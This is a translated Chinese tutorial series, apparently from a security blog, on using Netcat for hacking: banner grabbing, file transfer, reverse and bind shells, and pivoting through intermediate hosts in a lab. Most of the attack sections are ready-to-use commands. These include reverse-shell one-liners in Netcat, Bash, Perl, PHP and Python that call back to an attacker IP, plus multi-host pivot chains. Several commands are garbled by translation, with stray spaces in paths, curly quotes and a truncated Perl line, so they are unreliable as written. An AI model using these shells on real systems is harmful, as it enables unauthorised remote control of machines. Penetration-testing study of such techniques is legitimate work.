[工具学习]使用Netcat进行黑客攻击

通过我那抠脚的英语能力给大家介绍NC的一些使用技巧,工具学习和科普,欢迎指正

1.jpg

1.用Netcat进行黑客攻击第1部分:基础知识

  Netcat是一个很好的网络实用程序,用于使用TCP和UPD协议读取和写入网络连接。Netcat通常被称为网络工具中的瑞士军刀,我们将在使用黑客教程的不同教程中大量使用它。Netcat最常见的用途是设置反向和绑定shell,管道和重定向网络流量,端口侦听,调试程序和脚本以及Banner抓取。在本教程中,我们将学习如何使用Netcat的基本功能,如:

Banner抓取  原始连接  Web服务器交互  

文件传输

我们将使用运行Linux的几台虚拟机和一些可视化来演示这些技术。Netcat教程的黑客攻击将分为以下3部分:

我们从基础知识开始,看看我们如何使原始数据连接获取服务器Banner。

服务Banner通常由系统管理员用于网络上的系统和服务的存储。服务Banner标识正在运行的服务,通常也是版本号。Banner抓取是一种在开放端口上检索有关特定服务的信息的技术,可用于进行漏洞评估的渗透测试。当使用Netcat进行Banner抓取时,您实际上将与指定端口上的指定主机进行原始连接。当Banner可用时,它会打印到控制台。让我们看看在实践中如何运作。

Netcat Banner获取

使用以下命令来获取服务器Banner(与服务建立原始连接):

nc [ip address] [port]

我们来试试这个在21端口运行的Metasploitable 2上的FTP服务:

nc 192.168.100.100 21

nc [ip] [port]用于与端口进行原始连接,当可用时将返回服务器Banner。

2.jpg

我们可以看到有一个vsFTPD服务在端口21上运行。如果您想了解更多有关此主题的信息,请查看服务枚举教程

Netcat原连接

为了演示原始连接的工作原理,我们将在FTP服务连接到目标主机后发出一些FTP命令。在匿名的情况下,我们来看看这个FTP服务器是否允许匿名访问,通过USER和PASS命令。

3.jpg

通过原始连接与FTP服务进行交互

此示例演示了如何抓取Banner以及如何设置和使用原始数据连接。在这个例子中,我们使用了FTP服务,但这也适用于其他服务,如SMTP和HTTP服务。

Web服务器交互

Netcat还可以通过发出HTTP请求与Web服务器进行交互。通过以下命令,我们可以抓住在Metasploitable 2上运行的Web服务的Banner:

nc 192.168.100.108 80

然后运行此HTTP请求:

HEAD / HTTP / 1.0

4.jpg

Apache webserver Banner

Web服务器使用服务器横幅进行响应:Apache / 2.2.8(Ubuntu)DAV / 2和PHP版本。

要检索Web服务器上的顶级页面,我们可以发出以下命令:

nc 192.168.100.108 80

然后运行此HTTP请求:

GET / HTTP / 1.0

5.jpg

Web服务器页面

使用Netcat进行文件传输

在这个例子中,我们将使用Netcat连接传输一个文本文件。假设我们在目标主机上执行远程命令,我们希望将文件从攻击主机传输到目标主机。首先,我们需要在目标主机上设置一个侦听器,并从攻击主机连接到它。我们将使用端口8080用于此目的,我们将该文件安全保存到桌面:

nc -lvp 8080> /root/Desktop/transfer.txt

在攻击主机上,我们连接到8080端口并发送文件名称transfer.txt:

nc 192.168.100.107 8080 </root/Desktop/transfer.txt

6.jpg

Netcat文件传输

然后我们使用cat查看攻击主机和目标主机这两个地方的的文件的内容,进行比较

7.jpg

文件从主机转移到目标

正如我们在这里看到的,文件的内容是相同的,这意味着它已经从攻击区域转移到目标主机。

总结

在使用Netcat教程的Hacking的第一部分中,我们已经学习了如何处理几个基本功能,如原始连接,Banner抓取和文件传输。我们已经学会了如何抓取包含有关在特定端口上运行的服务的信息的服务器旗标Banner。我们还学习了如何通过使用原始连接和Netcat与服务进行交互。在本教程中,我们使用原始数据连接获取对FTP服务器的匿名访问,并发出一些FTP命令。我们还学习了如何使用Netcat与Web服务器进行交互。我们可以检索网页并发送HTTP请求。最后但并非最不重要的是,我们已经学会了如何使用Netcat将文件从一个区域传输到另一个区域。

接下来,使用netcat进行黑客攻击的教程中,我们将了解如何使用反向shell和绑定shell

Hacking-with-netcat-part-2-Bind-shells-and-Reverse-shells-fi-702x336.jpg

2.用Netcat进行黑客攻击第2部分:绑定和反向shell

 在Hacking with Netcat教程的第1部分中,我们已经了解了Netcat的基础知识。现在是时候深入了解Netcat最受欢迎和常见的用法:设置主动连接bind shell和被动连接 reverse shell。在本教程中,我们将了解bind shell和reverse shell之间的区别以及如何使用它们。首先Netcat并不存在于系统上,因此它可能被认为是潜在的安全问题。在这些情况下,我们将了解如何使用其他工具和编程语言,而不是Netcat替代某些功能来设置被动连接反向shell。Python,PHP,Perl和Bash等编程和脚本语言是很好的选择。我们将在本教程中总结一下如何使用bind shell。

在本教程中,我们将学习如何使用Netcat:

反向连接shell 正向连接bind shell

我们来看看如何在Netcat中使用bind shell和reverse shell。

Netcat反向reverse shell

在渗透测试中,最常见,或者最受欢迎的用法是反向 reverse shell和正向bind shell。反向shell是从目标主机发起到处于监听状态的攻击机器的shell连接方式,又叫被动连接,而正向bind shell是攻击主机通过特定的端口进行侦听目标主机即将到来的连接。在恶意软件中,bind shell又通常被称为后门。

在下面的内容中我们将展示使用bind shell和reverse shell。本教程中将使用4444端口,但请注意,这可以是任何开放端口。实际上,通常您需要使用更常见的端口,如80和443来设置反向shell,因为这些端口是更常见的打开。

设置Netcat反向Shell

我们来看看一个Netcat反向 shell的可视化,以便更好地了解它的工作原理:

2Netcat-reverse-shell.jpg

Netcat反向shell解析

在此示例中,目标使用端口4444反向连接攻击主机。-e选项将Bash shell发回攻击主机。请注意,我们也可以在Windows的cmd.exe上使用-e选项。假设我们已经在目标主机上找到了远程代码执行(RCE)漏洞。我们可以在目标主机上使用-e发出Netcat命令,并使用Netcat发出命令启动反向shell。

让我们来看看下面的例子是如何操作的,我们使用2个安装了Netcat的Linux系统。

Netcat反向shell的例子

为了设置Netcat反向shell,我们需要遵循以下步骤:

设置一个Netcat侦听器。 从目标主机连接到Netcat侦听器。 从攻击主机发出目标主机上的命令。

首先,我们在攻击主机上设置一个NetCat侦听器,然后使用以下命令侦听端口4444:

nc -lvp 4444

接下来我们在目标主机上执行下面的命令来连接我们的攻击主机(记住我们在这个攻击主机上执行了远程代码):

对于Linux:

nc 192.168.100.113 4444 -e / bin / bash

对于Windows:

nc.exe 192.168.100.113 4444 -e cmd.exe

在攻击主机上,我们现在有了一个来自目标主机的bash shell,我们在启动反向shell之后我们完全控制了这个主机。

3Netcat-basics-Reverse-shell-5.jpg

Netcat反向shell的一个例子

具有绿色控制台文本的顶部窗口是目标主机,下面的控制台是攻击主机。我们可以看到,我们连接到目标主机192.168.100.107上的攻击者192.168.100.113获得了root访问权限。

目标主机上没有Netcat的反向shell

所示示例的一个主要缺点是,您需要在目标主机上使用Netcat,这在现实世界场景中通常不是这样。在某些情况下,Netcat存在,或者我们有一种安装方式,但在许多情况下,我们需要使用替代方法反向连接到攻击主机。我们来看看几种替代方法来设置反向shell。

Bash反向shell

也可以使用Bash通过使用以下命令从目标主机启动反向shell连接攻击主机:

bash -i>&/dev/tcp/192.168.100.113/4444 0>&1

4Netcat-basics-Reverse-shell-bash-6.jpg

一个Bash反向shell的例子

正如我们可以看到Netcat在那个攻击主机中也接受了一个bash反向shell。

Perl反向shell

如果Perl存在于远程主机上,我们也可以使用Perl启动一个反向shell。在目标主机上运行以下命令来设置反向shell:

perl -e’use Socket; $ i =“192.168.100.113”; $ p = 4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”)); if(connect(S,sockaddr_in($ p,inet_aton (STDOUT,“>&S”);open(STDOUT,“>&S”);open(STDERR,“>&S”); exec(“/ bin / sh -i”);} ;”

5Netcat-basics-Reverse-shell-perl-7.jpg

一个Perl反向shell的例子

PHP反向shell

当受感染的主机上存在PHP时,网络服务器通常是这种情况,它是Netcat,Perl和Bash的绝佳选择。让我们运行下面的代码来使用PHP作为连接攻击主机的反向shell:

php -r’$ sock = fsockopen(“192.168.100.113”,4444); exec(“/ bin / sh -i <&3>&3 2>&3”);

我们可以看到这个反向shell,一个内核也返回一个/ bin / sh shell。

6Netcat-basics-Reverse-shell-PHP-8.jpg

PHP反向shell的一个例子

Python反向shell

Python也是Linux机器上常用的语言。以下命令使用Python执行反向shell:

python -c’import socket,subprocess,os; s = socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((“192.168.100.113”,4444)); os.dup2(s.fileno() ,0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); P = subprocess.call([“/ bin / sh”,” - i”]);”

7Netcat-basics-Reverse-shell-Python-9.jpg

一个Python反向shell的例子

Netcat正向bind Shell

正如我们前面在使用Netack进行黑客攻击的教程中提到的一样,bind shell是一个绑定到目标主机上的特定端口以监听即将到来的连接的shell。我们来看看一个Netcat正向bind shell的原理:

7Netcat-bind-shell.jpg

Netcat绑定shell解释

在该图中,目标使用Netcat侦听器将Bash shell绑定到它特定端口4444。攻击者使用简单的Netcat命令连接到此端口。设置bind shell的步骤如下:

使用Netcat将一个bash shell绑定到4444端口。 从攻击主机连接到端口4444上的目标主机。 从攻击主机发出命令到目标主机上。

Netcat绑定shell示例

让我们看看这个控制台的操作实例:

8Netcat-Bind-shell-example.jpg

Netcat绑定Shell示例

目标主机将Bash shell绑定到端口4444,然后攻击主机使用Netcat连接到该端口,并在获取目标主机的root权限。

总结

在第二部分的Hacking with Netcat系列中,我们了解到反向shell从目标主机连接到攻击主机。同时我们知道,我们不一定需要在目标主机安装Netcat来启动反向shell,我们也可以使用PHP,Python,Perl,Bash等命令反向连接netcat监听攻击主机。即我们可以尝试使用最常见的编程和脚本语言完成反向shell的连接。我们还了解到正向bind shell。bind shell将服务绑定到目标主机上的特定端口,同时侦听来自攻击主机的传入连接,接收攻击主机的主动连接。

在Netcat的黑客入侵的第3部分中,我们将会看到一些更先进的技术,如重定向流量,管网Netcat和设置Netcat作为代理。

9Hacking-with-netcat-part-3-Advanced-Techniques-fi-702x336.jpg

3.用Netcat进行黑客攻击第三部分:高级技术

 在Hacking with Netcat教程系列的第3部分中,我们将介绍一些更先进的技术。正如我们现在所知,Netcat也被称为瑞士军刀的网络工具。瑞士军队网络工具应该能够做的不仅仅是制作原始数据连接和shell。所以我们也要看一些高级功能。在本章中,我们将学习NetCat如何通过pipe管道输出到文件和应用程序,以及NetCat在网络节点是如何运行。接下来,我们将介绍一些关于通过NetCat来进行连接的不同的场景。当目标主机位于攻击主机不能从网络直接访问的网络上时,中间网络连接行之有效。在这种情况下,我们可以退而求其次寻找一个在网络上可以访问和连接目标主机和攻击主机的网络主机或者中间网络。同时允许访问攻击主机和目标主机的中间节点称为中间点,也可以叫代理。我们先从Netcat的管道输出文件和应用程序开始。

netcat使用管道输出到文件夹

首先,我们将通过管道使用netcat端口扫描输出名为output.txt的文件。一般命令行可以通过文件名后使用运算符>输出到指定文件夹。对于Netcat,这将不起作用,因为我们需要在文件里面同时引导stderr和stdout。我们可以使用以下命令来执行此操作:

nc -vv -z localhost 1-100> output.txt 2>&1

10 1-Netcat-write-output-to-file.jpg

Netcat端口扫描输出到文件

此命令将所有结果从端口扫描输出到output.txt文件。我们可以使用grep命令来过滤开放端口的输出内容:

nc -vv -z localhost 1-100 2>&1 | grep open> output.txt

11 2-Netcat-grep-output-to-file.jpg

grep netcat输出到文件

此命令仅通过开放端口输出到文本文件。让我们看看我们如何使用netcat管道在网络连接节点之间输入和输出。

Windows网络与Netcat联动

假设我们有2个Windows目标和1个Kali Linux攻击主机。我们已经从Kali Linux机器中盗取了Windows主机1,我们希望在Windows主机2上获得一个shell,windows主机2只能从Windows主机1访问。我们需要将来自Kali Linux主机的流量定向到Windows主机1,然后再重定向流量到Windows主机2.windows主机2输出流量应该应答到Windows主机1,在windows主机那里流量又将被重定向回到Kali Linux机器。让我们看看下面的图形,以便更好地了解:

12 3-Netcat-Windows-pivoting.jpg

在虚拟实验室中,我们使用2台Windows机器和1台Kali Linux机器配置了该方案。在网络节点上,我们将输入命令从攻击主机的管道传输到目标主机。来自目标主机的输出将从网络节点回送到攻主机。让我们来看看每个机器必须使用哪个Netcat命令。我们将使用端口3333和端口4444作为连接端口。

Windows主机1需要将端口3333上的传入流量引导到Windows主机2端口4444上,并且来自Windows主机2的输入流量必须发送到Kali Linux的端口2222上。 Windows主机2需要将通过端口4444上将命令传输到windows主机2的CMD.exe,并将输出结果重定向到Windows主机1端口4444上。 Kali Linux应该通过3333端口向Windows主机1发送命令,并从Windows主机1的端口4444接收输入。

确定这些信息,我们需要按照以下顺序在每个机器上执行以下命令:

Kali Linux控制台输入:nc -lvp 3333 Kali Linux控制台输出:nc -lvp 4444 Windows主机2:nc -lvp 4444 -e cmd.exe Windows主机1:nc.exe 10.11.1.16 3333 | nc.exe 10.11.1.198 4444 | nc.exe 10.11.1.16 2222

以下图形描述了Kali Linux攻击主机,Windows主机1和目标主机之间的网络连接情况。

13 4-Windows-netcat-network-pivoting-example.jpg

使用Netcat重定向流量

在Kali Linux攻击主机上的输入终端上发出的命令通过网络在Windows主机2上执行。来自Windows主机2的输出将重定向到攻击主机的输出终端。此设置的唯一问题是执行的命令和输出有延迟。发出命令后,您必须按Enter键1次或2次才能看到出现在攻击主机输出终端的输出结果。当netcat上的-e切换在其他节点可用时,还有一个更简便的选择。此选项仅在攻击主机上使用1个终端会话。我们来看看这是如何工作的,看下面的命令:

Kali Linux攻击主机:nc -lvp 4444 Windows主机2:nc -lvp 4444 -e cmd.exe Windows主机1 – 枢轴点:nc -v 10.11.1.16 4444 -c“nc -v 10.11.1.198 4444”

第一个命令在攻击主机上设置侦听器,并在目标主机上设置第二个命令。最后一个命令打开windows主机1与攻击主机的Netcat会话,并使用到目标主机新的Netcat会话作为返回命令。请注意,网络节点和目标主机都使用了Netcat上的-e开关。

14 5-Windows-netcat-network-pivoting-example-2.jpg

网络与Netcat在Windows上的连接

在第一个终端,我们通过网络在目标主机获取shell。这种结构也有一个延迟,所以你必须按一次或两次回车接收来自目标主机的返回结果。如果您知道如何解决延迟问题,欢迎留言!现在我们来看看我们是否可以在3个Linux主机上做同样的事情。

Linux网络与Netcat联动

在以下情况下,我们有3个Linux主机:

10.11.1.16是在Kali Linux上运行的攻击主机。 10.11.1.250是代理节点,也是中间网络节点。 10.11.1.95是目标主机。

下图显示了攻击主机,中间节点和目标主机的场景:

15 6-Linux-netcat-network-pivoting-scenario-2.jpg

我们将按照以下顺序在不同的主机上使用以下命令:

10.11.1.16攻击主机:nc -lvp 4444 10.11.1.96目标主机:nc -lvp 4444 -e / bin / sh 10.11.1.250中间节点:nc -v 10.11.1.16 4444 -c“nc -v 10.11.1.96 4444”

第一个命令在Kali Linux攻击主机上的4444端口设置一个侦听器。第二个命令在目标主机上也设置侦听器,也在端口4444上。最后一个命令在中间节点上执行,通过命令连接到端口4444上的攻击主机和目标主机。

以下屏幕截图显示了3台机器的不同终端的情况。第一个终端是攻击主机,第二个终端是中间节点,最后一个是目标主机:

16 7-Linux-netcat-network-pivoting-example.jpg

使用Netcat在Linux上进行网络转发

在攻击主机终端上,我们发出了whoami和ifconfig命令。whoami的输出是root,ifconfig输出主机10.11.1.95的IP信息。此设置工作正常,我们能够在攻击主机在网络上无法到达目标主机的情况下通过中间节点实现目标主机的连接控制。这种情况起初似乎有点混乱,但不用担心。花点时间来理解,多加练习并能理解。到目前为止,我们已经了解了Netcat输出管道,如端口扫描结果和连接。我们还学习了如何在Linux和Windows上使用中间节点进行网络连接。或许有更多的高级技术和Netcat教程,欢迎补充和学习。

推荐阅读:

http://www.hackingtutorials.org/networking/hacking-with-netcat-part-1-the-basics/

http://www.hackingtutorials.org/networking/hacking-netcat-part-2-bind-reverse-shells/

http://www.hackingtutorials.org/networking/hacking-with-netcat-part-3-advanced-techniques/

http://sectools.org/tool/netcat/

翻译可能有不到位的,欢迎指正和补充,工具学习会持续更新,欢迎一起分享

6

发表评论

已有 12 条评论

取消
Loading...

填写个人信息

姓名
电话
邮箱
公司
行业
职位
css.php